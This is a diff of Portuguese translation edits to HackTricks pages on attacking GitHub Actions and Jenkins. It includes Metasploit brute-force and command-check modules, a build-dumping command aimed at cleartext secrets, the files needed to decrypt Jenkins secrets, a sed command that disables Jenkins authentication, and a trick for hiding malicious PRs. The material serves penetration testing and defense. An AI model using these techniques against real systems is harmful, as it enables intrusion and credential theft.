@@ -530,20 +530,20 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m
|
||||
|
||||
### Informações sensíveis nos logs do Github Actions
|
||||
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrar** eles, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Mesmo que o **Github** tente **detectar valores secretos** nos logs das ações e **evitar mostrá-los**, **outros dados sensíveis** que poderiam ter sido gerados na execução da ação não serão ocultados. Por exemplo, um JWT assinado com um valor secreto não será ocultado, a menos que seja [especificamente configurado](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Cobrir suas Trilhas
|
||||
|
||||
(Técnica de [**aqui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Primeiro de tudo, qualquer PR levantada é claramente visível ao público no Github e à conta alvo do GitHub. No GitHub, por padrão, **não podemos deletar um PR da internet**, mas há uma reviravolta. Para contas do Github que estão **suspensas** pelo Github, todos os seus **PRs são automaticamente deletados** e removidos da internet. Portanto, para esconder sua atividade, você precisa ou ter sua **conta do GitHub suspensa ou ter sua conta sinalizada**. Isso **esconderia todas as suas atividades** no GitHub da internet (basicamente remover todos os seus PRs de exploração)
|
||||
|
||||
Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
|
||||
Uma organização no GitHub é muito proativa em relatar contas ao GitHub. Tudo o que você precisa fazer é compartilhar “algumas coisas” em uma Issue e eles garantirão que sua conta seja suspensa em 12 horas :p e aí está, fez sua exploração invisível no github.
|
||||
|
||||
> [!WARNING]
|
||||
> A única maneira de uma organização descobrir que foi alvo é verificar os logs do GitHub a partir do SIEM, pois na interface do GitHub o PR seria removido.
|
||||
|
||||
## Ferramentas
|
||||
|
||||
As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar vulneráveis:
|
||||
As seguintes ferramentas são úteis para encontrar fluxos de trabalho do Github Action e até mesmo encontrar os vulneráveis:
|
||||
|
||||
- [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
|
||||
- [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
# GH Actions - Cache Poisoning
|
||||
# GH Actions - Envenenamento de Cache
|
||||
|
||||
@@ -1,27 +1,27 @@
|
||||
# Dados Deletados Acessíveis no Github
|
||||
# Dados Excluídos Acessíveis no Github
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Essas maneiras de acessar dados do Github que supostamente foram deletados foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
Essas maneiras de acessar dados do Github que supostamente foram excluídos foram [**reportadas neste post do blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
|
||||
|
||||
## Acessando Dados de Forks Deletados
|
||||
## Acessando Dados de Forks Excluídos
|
||||
|
||||
1. Você faz um fork de um repositório público
|
||||
2. Você comita código no seu fork
|
||||
3. Você deleta seu fork
|
||||
1. Você faz um fork de um repositório público.
|
||||
2. Você comita código no seu fork.
|
||||
3. Você exclui seu fork.
|
||||
|
||||
> [!CAUTION]
|
||||
> Os dados comitados no fork deletado ainda estão acessíveis.
|
||||
> Os dados comitados no fork excluído ainda são acessíveis.
|
||||
|
||||
## Acessando Dados de Repositórios Deletados
|
||||
## Acessando Dados de Repositórios Excluídos
|
||||
|
||||
1. Você tem um repositório público no GitHub.
|
||||
2. Um usuário faz fork do seu repositório.
|
||||
2. Um usuário faz um fork do seu repositório.
|
||||
3. Você comita dados após eles fazerem o fork (e eles nunca sincronizam seu fork com suas atualizações).
|
||||
4. Você deleta o repositório inteiro.
|
||||
4. Você exclui o repositório inteiro.
|
||||
|
||||
> [!CAUTION]
|
||||
> Mesmo que você tenha deletado seu repositório, todas as alterações feitas nele ainda estão acessíveis através dos forks.
|
||||
> Mesmo que você tenha excluído seu repositório, todas as alterações feitas nele ainda são acessíveis através dos forks.
|
||||
|
||||
## Acessando Dados de Repositórios Privados
|
||||
|
||||
@@ -32,7 +32,7 @@ Essas maneiras de acessar dados do Github que supostamente foram deletados foram
|
||||
> [!CAUTION]
|
||||
> É possível acessar todos os dados enviados para o fork interno no período entre a criação do fork interno e a versão pública sendo tornada pública.
|
||||
|
||||
## Como descobrir commits de forks deletados/ocultos
|
||||
## Como descobrir commits de forks excluídos/ocultos
|
||||
|
||||
O mesmo post do blog propõe 2 opções:
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Estrutura Básica
|
||||
|
||||
A estrutura básica do ambiente github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**.
|
||||
A estrutura básica do ambiente do github de uma grande **empresa** é possuir uma **empresa** que possui **várias organizações** e cada uma delas pode conter **vários repositórios** e **várias equipes**. Empresas menores podem **possuir apenas uma organização e nenhuma empresa**.
|
||||
|
||||
Do ponto de vista do usuário, um **usuário** pode ser um **membro** de **diferentes empresas e organizações**. Dentro delas, o usuário pode ter **diferentes funções de empresa, organização e repositório**.
|
||||
|
||||
@@ -24,7 +24,7 @@ E finalmente, **os repositórios podem ter mecanismos de proteção especiais**.
|
||||
Em uma organização, os usuários podem ter diferentes funções:
|
||||
|
||||
- **Proprietários da organização**: Proprietários da organização têm **acesso administrativo completo à sua organização**. Essa função deve ser limitada, mas não a menos de duas pessoas, em sua organização.
|
||||
- **Membros da organização**: A função **padrão**, não administrativa, para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**.
|
||||
- **Membros da organização**: A função **padrão**, não administrativa para **pessoas em uma organização** é o membro da organização. Por padrão, os membros da organização **têm um número de permissões**.
|
||||
- **Gerentes de cobrança**: Gerentes de cobrança são usuários que podem **gerenciar as configurações de cobrança da sua organização**, como informações de pagamento.
|
||||
- **Gerentes de Segurança**: É uma função que os proprietários da organização podem atribuir a qualquer equipe em uma organização. Quando aplicada, dá a cada membro da equipe permissões para **gerenciar alertas e configurações de segurança em sua organização, bem como permissões de leitura para todos os repositórios** na organização.
|
||||
- Se sua organização tiver uma equipe de segurança, você pode usar a função de gerente de segurança para dar aos membros da equipe o menor acesso necessário à organização.
|
||||
@@ -51,7 +51,7 @@ As configurações aqui configuradas indicarão as seguintes permissões dos mem
|
||||
|
||||
Por padrão, as funções de repositório são criadas:
|
||||
|
||||
- **Leitura**: Recomendado para **contribuidores não relacionados ao código** que desejam visualizar ou discutir seu projeto.
|
||||
- **Leitura**: Recomendado para **contribuidores não de código** que desejam visualizar ou discutir seu projeto.
|
||||
- **Triagem**: Recomendado para **contribuidores que precisam gerenciar proativamente problemas e pull requests** sem acesso de escrita.
|
||||
- **Escrita**: Recomendado para contribuintes que **enviam ativamente para seu projeto**.
|
||||
- **Manutenção**: Recomendado para **gerentes de projeto que precisam gerenciar o repositório** sem acesso a ações sensíveis ou destrutivas.
|
||||
@@ -63,7 +63,7 @@ Você também pode **criar suas próprias funções** em _https://github.com/org
|
||||
|
||||
### Equipes
|
||||
|
||||
Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\<org_name>/teams_. Observe que, para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai.
|
||||
Você pode **listar as equipes criadas em uma organização** em _https://github.com/orgs/\<org_name>/teams_. Observe que para ver as equipes que são filhas de outras equipes, você precisa acessar cada equipe pai.
|
||||
|
||||
### Usuários
|
||||
|
||||
@@ -81,7 +81,7 @@ Acessando **github.com**, você pode fazer login usando seu **nome de usuário e
|
||||
|
||||
### **Chaves SSH**
|
||||
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a **chave privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
Você pode configurar sua conta com uma ou várias chaves públicas permitindo que a chave **privada relacionada realize ações em seu nome.** [https://github.com/settings/keys](https://github.com/settings/keys)
|
||||
|
||||
#### **Chaves GPG**
|
||||
|
||||
@@ -102,10 +102,10 @@ Aplicativos Oauth podem solicitar permissões **para acessar parte das suas info
|
||||
|
||||
Algumas **recomendações de segurança**:
|
||||
|
||||
- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados.
|
||||
- Um **Aplicativo OAuth** deve sempre **agir como o usuário autenticado do GitHub em toda a plataforma GitHub** (por exemplo, ao fornecer notificações ao usuário) e com acesso apenas aos escopos especificados.
|
||||
- Um Aplicativo OAuth pode ser usado como um provedor de identidade ao habilitar um "Login com GitHub" para o usuário autenticado.
|
||||
- **Não** crie um **Aplicativo OAuth** se você quiser que seu aplicativo atue em um **único repositório**. Com o escopo `repo`, os Aplicativos OAuth podem **agir em \_todos**\_\*\* os repositórios do usuário autenticado\*\*.
|
||||
- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Os Aplicativos OAuth se autenticam como um **único usuário**, então, se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele.
|
||||
- **Não** crie um Aplicativo OAuth para atuar como um aplicativo para sua **equipe ou empresa**. Aplicativos OAuth se autenticam como um **único usuário**, então se uma pessoa criar um Aplicativo OAuth para uma empresa usar, e depois ela deixar a empresa, ninguém mais terá acesso a ele.
|
||||
- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).
|
||||
|
||||
### Aplicativos do Github
|
||||
@@ -116,41 +116,41 @@ Aplicativos do Github podem solicitar permissões para **acessar suas informaç
|
||||
- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
|
||||
- Você pode criar seu próprio aplicativo do Github em [https://github.com/settings/apps](https://github.com/settings/apps)
|
||||
- Você pode ver todos os **aplicativos do Github que têm acesso à sua conta** em [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations)
|
||||
- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do aplicativo, ele poderá acessar alguns deles.
|
||||
- Estes são os **Endpoints da API para Aplicativos do Github** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Dependendo das permissões do Aplicativo, ele poderá acessar alguns deles.
|
||||
- Você pode ver aplicativos instalados em uma **organização** em _https://github.com/organizations/\<org_name>/settings/installations_
|
||||
|
||||
Algumas recomendações de segurança:
|
||||
|
||||
- Um Aplicativo do GitHub deve **tomar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Um Aplicativo do GitHub deve **realizar ações independentemente de um usuário** (a menos que o aplicativo esteja usando um token [de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Para manter os tokens de acesso de usuário para servidor mais seguros, você pode usar tokens de acesso que expiram após 8 horas, e um token de atualização que pode ser trocado por um novo token de acesso. Para mais informações, veja "[Atualizando tokens de acesso de usuário para servidor](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
|
||||
- Certifique-se de que o Aplicativo do GitHub se integre com **repositórios específicos**.
|
||||
- O Aplicativo do GitHub deve **conectar-se a uma conta pessoal ou a uma organização**.
|
||||
- Não espere que o Aplicativo do GitHub saiba e faça tudo o que um usuário pode.
|
||||
- **Não use um Aplicativo do GitHub se você só precisa de um serviço de "Login com GitHub"**. Mas um Aplicativo do GitHub pode usar um [fluxo de identificação de usuário](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) para fazer login de usuários _e_ fazer outras coisas.
|
||||
- Não crie um Aplicativo do GitHub se você _apenas_ quiser agir como um usuário do GitHub e fazer tudo o que esse usuário pode fazer.
|
||||
- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de fluxo de trabalho, deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de fluxo de trabalho. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- Se você estiver usando seu aplicativo com GitHub Actions e quiser modificar arquivos de workflow, você deve se autenticar em nome do usuário com um token OAuth que inclua o escopo `workflow`. O usuário deve ter permissão de administrador ou escrita para o repositório que contém o arquivo de workflow. Para mais informações, veja "[Entendendo escopos para aplicativos OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
|
||||
- **Mais** em [aqui](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).
|
||||
|
||||
### Github Actions
|
||||
|
||||
Isso **não é uma maneira de autenticar no github**, mas uma **ação maliciosa** do Github poderia obter **acesso não autorizado ao github** e **dependendo** dos **privilégios** dados à Ação, vários **ataques diferentes** poderiam ser realizados. Veja abaixo para mais informações.
|
||||
|
||||
## Ações do Git
|
||||
## Ações Git
|
||||
|
||||
As ações do Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos).
|
||||
As ações Git permitem automatizar a **execução de código quando um evento acontece**. Normalmente, o código executado está **de alguma forma relacionado ao código do repositório** (talvez construir um contêiner docker ou verificar se o PR não contém segredos).
|
||||
|
||||
### Configuração
|
||||
|
||||
Em _https://github.com/organizations/\<org_name>/settings/actions_ é possível verificar a **configuração das ações do github** para a organização.
|
||||
|
||||
É possível proibir o uso de ações do github completamente, **permitir todas as ações do github**, ou apenas permitir certas ações.
|
||||
É possível proibir completamente o uso de ações do github, **permitir todas as ações do github**, ou apenas permitir certas ações.
|
||||
|
||||
Também é possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada.
|
||||
É também possível configurar **quem precisa de aprovação para executar uma Ação do Github** e as **permissões do GITHUB_TOKEN** de uma Ação do Github quando ela é executada.
|
||||
|
||||
### Segredos do Git
|
||||
|
||||
A Ação do Github geralmente precisa de algum tipo de segredos para interagir com o github ou aplicativos de terceiros. Para **evitar colocá-los em texto claro** no repositório, o github permite colocá-los como **Segredos**.
|
||||
|
||||
Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo assim:
|
||||
Esses segredos podem ser configurados **para o repositório ou para toda a organização**. Então, para que a **Ação possa acessar o segredo**, você precisa declará-lo como:
|
||||
```yaml
|
||||
steps:
|
||||
- name: Hello world action
|
||||
@@ -172,11 +172,11 @@ example-command "$SUPER_SECRET"
|
||||
|
||||
> Uma vez configurados no repositório ou nas organizações, **os usuários do github não poderão acessá-los novamente**, eles só poderão **alterá-los**.
|
||||
|
||||
Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você poderá acessar apenas os segredos declarados para a Action).
|
||||
Portanto, a **única maneira de roubar segredos do github é conseguir acessar a máquina que está executando a Github Action** (nesse cenário, você só poderá acessar os segredos declarados para a Action).
|
||||
|
||||
### Git Environments
|
||||
### Ambientes do Git
|
||||
|
||||
Github permite criar **environments** onde você pode salvar **secrets**. Então, você pode dar à github action acesso aos segredos dentro do ambiente com algo como:
|
||||
O Github permite criar **ambientes** onde você pode salvar **segredos**. Em seguida, você pode dar à ação do github acesso aos segredos dentro do ambiente com algo como:
|
||||
```yaml
|
||||
jobs:
|
||||
deployment:
|
||||
@@ -202,10 +202,10 @@ Se o **Github Runner personalizado estiver configurado em uma máquina dentro da
|
||||
|
||||
### Comprometimento da Git Action
|
||||
|
||||
Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário pode usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada.
|
||||
Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário poderia usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada.
|
||||
|
||||
> [!CAUTION]
|
||||
> Uma **Github Action maliciosa** executada pode ser **abusada** pelo atacante para:
|
||||
> Uma **Github Action maliciosa** executada poderia ser **abusada** pelo atacante para:
|
||||
>
|
||||
> - **Roubar todos os segredos** aos quais a Action tem acesso
|
||||
> - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token SA usado para executar a máquina pode ser acessado (provavelmente via o serviço de metadados)
|
||||
@@ -223,7 +223,7 @@ As **proteções de ramo de um repositório** podem ser encontradas em _https://
|
||||
Diferentes proteções podem ser aplicadas a um ramo (como ao master):
|
||||
|
||||
- Você pode **exigir um PR antes de mesclar** (então você não pode mesclar código diretamente sobre o ramo). Se isso for selecionado, outras proteções podem estar em vigor:
|
||||
- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não possa mesclar código diretamente.
|
||||
- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não consiga mesclar código diretamente.
|
||||
- **Desconsiderar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e, em seguida, o usuário poderia adicionar código malicioso e mesclá-lo.
|
||||
- **Exigir revisões de Proprietários de Código**. Pelo menos 1 proprietário de código do repositório precisa aprovar o PR (para que usuários "aleatórios" não possam aprová-lo)
|
||||
- **Restringir quem pode desconsiderar revisões de pull request.** Você pode especificar pessoas ou equipes autorizadas a desconsiderar revisões de pull request.
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
# Jenkins Security
|
||||
# Segurança do Jenkins
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,9 +20,9 @@ Verifique se você pode executar comandos sem precisar de autenticação:
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_command
|
||||
```
|
||||
Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ por **nomes de usuário**.
|
||||
Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ para **nomes de usuário**.
|
||||
|
||||
Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_
|
||||
Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_.
|
||||
|
||||
.png>)
|
||||
|
||||
@@ -46,11 +46,11 @@ Você poderá encontrar instâncias do Jenkins que **permitem que você crie uma
|
||||
|
||||
### **Login SSO**
|
||||
|
||||
Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma **conta de teste do Github/Bitbucket**). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma conta de **Github/Bitbucket** de teste). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
|
||||
|
||||
### Bruteforce
|
||||
|
||||
**Jenkins** não possui **política de senha** e **mitigação contra brute-force de nomes de usuário**. É essencial **fazer brute-force** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**.
|
||||
**Jenkins** não possui **política de senha** e **mitigação de força bruta de nome de usuário**. É essencial **fazer força bruta** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**.
|
||||
```
|
||||
msf> use auxiliary/scanner/http/jenkins_login
|
||||
```
|
||||
@@ -58,17 +58,17 @@ msf> use auxiliary/scanner/http/jenkins_login
|
||||
|
||||
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
|
||||
|
||||
### Bypass de Whitelisting de IP
|
||||
### IP Whitelisting Bypass
|
||||
|
||||
Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução de CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas de CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline.
|
||||
Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline.
|
||||
|
||||
Para alcançar isso, as organizações **whitelist** os **intervalos de IP** das **plataformas SCM**, permitindo que acessem o **sistema de CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema de CI interno**.
|
||||
Para alcançar isso, as organizações **colocam na lista branca** os **intervalos de IP** das **plataformas SCM**, permitindo que elas acessem o **sistema CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema CI interno**.
|
||||
|
||||
Verifique: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
|
||||
|
||||
## Abusos Internos do Jenkins
|
||||
## Internal Jenkins Abuses
|
||||
|
||||
Nestes cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.
|
||||
Nesses cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins.
|
||||
|
||||
> [!WARNING]
|
||||
> Dependendo do mecanismo de **Autorização** configurado no Jenkins e da permissão do usuário comprometido, você **pode ou não ser capaz de realizar os seguintes ataques.**
|
||||
@@ -79,13 +79,13 @@ Para mais informações, verifique as informações básicas:
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
### Listando usuários
|
||||
### Listing users
|
||||
|
||||
Se você acessou o Jenkins, pode listar outros usuários registrados em [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
|
||||
|
||||
### Dumping de builds para encontrar segredos em texto claro
|
||||
### Dumping builds to find cleartext secrets
|
||||
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de build para, esperançosamente, encontrar segredos em texto claro.
|
||||
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de builds para, esperançosamente, encontrar segredos em texto claro.
|
||||
```bash
|
||||
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
|
||||
cd build_dumps
|
||||
@@ -242,13 +242,13 @@ Para mais informações, verifique as informações básicas:
|
||||
basic-jenkins-information.md
|
||||
{{#endref}}
|
||||
|
||||
Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o **`Built-In Node`** (que é o nó que executa o Jenkins) e potencialmente mais:
|
||||
Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o \*\*`Built-In Node` \*\* (que é o nó que executa o Jenkins) e potencialmente mais:
|
||||
|
||||
.png>)
|
||||
|
||||
É **especialmente interessante comprometer o nó Built-In** porque ele contém informações sensíveis do Jenkins.
|
||||
|
||||
Para indicar que você deseja **executar** o **pipeline** no **nó built-in do Jenkins**, você pode especificar dentro do pipeline a seguinte configuração:
|
||||
Para indicar que você deseja **executar** o **pipeline** no **nó Jenkins embutido**, você pode especificar dentro do pipeline a seguinte configuração:
|
||||
```bash
|
||||
pipeline {
|
||||
agent {label 'built-in'}
|
||||
@@ -328,7 +328,7 @@ jenkins-dumping-secrets-from-groovy.md
|
||||
|
||||
#### From disk
|
||||
|
||||
Esses arquivos são necessários para **descriptografar os segredos do Jenkins**:
|
||||
Esses arquivos são necessários para **decriptar segredos do Jenkins**:
|
||||
|
||||
- secrets/master.key
|
||||
- secrets/hudson.util.Secret
|
||||
@@ -365,12 +365,12 @@ println(hudson.util.Secret.decrypt("{...}"))
|
||||
```
|
||||
### Criar novo usuário administrador
|
||||
|
||||
1. Acesse o arquivo Jenkins config.xml em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
|
||||
1. Acesse o arquivo config.xml do Jenkins em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\`
|
||||
2. Procure a palavra `<useSecurity>true</useSecurity>` e mude a palavra **`true`** para **`false`**.
|
||||
1. `sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml`
|
||||
3. **Reinicie** o **servidor Jenkins**: `service jenkins restart`
|
||||
4. Agora vá para o portal Jenkins novamente e **Jenkins não pedirá nenhuma credencial** desta vez. Você navega até "**Gerenciar Jenkins**" para definir a **senha do administrador novamente**.
|
||||
5. **Ative** a **segurança** novamente mudando as configurações para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
|
||||
3. **Reinicie** o servidor **Jenkins**: `service jenkins restart`
|
||||
4. Agora vá para o portal do Jenkins novamente e **Jenkins não pedirá credenciais** desta vez. Navegue até "**Gerenciar Jenkins**" para definir a **senha do administrador novamente**.
|
||||
5. **Ative** a **segurança** novamente alterando as configurações para `<useSecurity>true</useSecurity>` e **reinicie o Jenkins novamente**.
|
||||
|
||||
## Referências
|
||||
|
||||
|
||||
@@ -29,20 +29,20 @@ Este componente fornece um servidor SSH embutido para o Jenkins. É uma interfac
|
||||
Em `/configureSecurity` é possível **configurar o método de autorização do Jenkins**. Existem várias opções:
|
||||
|
||||
- **Qualquer um pode fazer qualquer coisa**: Até o acesso anônimo pode administrar o servidor.
|
||||
- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver o **papel "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**.
|
||||
- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá apenas **acesso de leitura**.
|
||||
- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/papel.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**.
|
||||
- **Modo legado**: Mesmo que o Jenkins <1.164. Se você tiver a **função "admin"**, terá **controle total** sobre o sistema, e **caso contrário** (incluindo usuários **anônimos**) você terá acesso **somente leitura**.
|
||||
- **Usuários logados podem fazer qualquer coisa**: Neste modo, cada **usuário logado tem controle total** do Jenkins. O único usuário que não terá controle total é o **usuário anônimo**, que terá **acesso somente leitura**.
|
||||
- **Segurança baseada em matriz**: Você pode configurar **quem pode fazer o quê** em uma tabela. Cada **coluna** representa uma **permissão**. Cada **linha** **representa** um **usuário ou um grupo/função.** Isso inclui um usuário especial '**anônimo**', que representa **usuários não autenticados**, bem como '**autenticado**', que representa **todos os usuários autenticados**.
|
||||
|
||||
.png>)
|
||||
|
||||
- **Estratégia de Autorização Baseada em Projeto:** Este modo é uma **extensão** da "**segurança baseada em matriz**" que permite que uma matriz ACL adicional seja **definida para cada projeto separadamente.**
|
||||
- **Estratégia Baseada em Papéis:** Permite definir autorizações usando uma **estratégia baseada em papéis**. Gerencie os papéis em `/role-strategy`.
|
||||
- **Estratégia Baseada em Função:** Permite definir autorizações usando uma **estratégia baseada em função**. Gerencie as funções em `/role-strategy`.
|
||||
|
||||
## **Reino de Segurança**
|
||||
|
||||
Em `/configureSecurity` é possível **configurar o reino de segurança.** Por padrão, o Jenkins inclui suporte para alguns Reinos de Segurança diferentes:
|
||||
|
||||
- **Delegar ao contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Delegar para o contêiner de servlet**: Para **delegar a autenticação a um contêiner de servlet que executa o controlador Jenkins**, como [Jetty](https://www.eclipse.org/jetty/).
|
||||
- **Banco de dados de usuários do Jenkins:** Use **o próprio armazenamento de dados de usuários embutido do Jenkins** para autenticação em vez de delegar a um sistema externo. Isso é habilitado por padrão.
|
||||
- **LDAP**: Delegar toda a autenticação a um servidor LDAP configurado, incluindo usuários e grupos.
|
||||
